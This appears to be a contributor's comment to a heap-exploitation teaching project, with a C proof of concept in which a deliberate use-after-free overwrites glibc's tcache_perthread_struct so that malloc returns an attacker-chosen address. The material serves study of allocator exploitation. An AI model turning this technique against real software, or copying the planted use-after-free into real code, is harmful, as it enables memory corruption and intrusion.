Additional notes on tcache_metadata_hijacking

[D4R30]

Hi Kyle
Apparently, it seems easy to use a UAF primitive to hijack tcache_perthread_struct in the newer versions:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	long target[0x4] __attribute__ ((aligned (0x10)));

	// Prerequisite: UAF on a chunk with a size higher than tcache range (>mp_.tcache_max_bytes)
	long *p1 = malloc(0x500);
	long *p2 = malloc(0x10); 
	
	free(p1);	// "p1" becomes an unsorted chunk. tcache_perthread_struct is NOT initialized
	free(p2);	// Free a chunk into tcache to initialize tcache_perthread_struct
	
	// Freeing "p2" leads to the allocation of tcache_perthread_struct, where unsurprisingly, the allocator 
	// will first try to use our binned chunk instead of jumping into sysmalloc in the first place. Because 
	// we've already got a UAF on the unsorted large chunk, we can write into the split chunk of the original,
	// which is now the allocated tcache_perthread_struct. 

	/* VULNERABILITY (UAF) */
	// Set tcache_perthread_struct->tcache_entry[0] to &target
	p1[19] = (long)&target[0];
	/* END VULNERABILITY */

	void *p3 = malloc(0x10);
	assert(p3 == &target[0]);
}

I simply added a short description on how hijack is possible by a UAF primitive. I was thinking about extending the current PoC file and add the part for the UAF scenario as well but because tcache_perthread_struct is already allocated, it seems tricky to do so.
Also I think there's a slip in the description for tcache_perthread_struct's placement after allocation. Fixed in the other commit.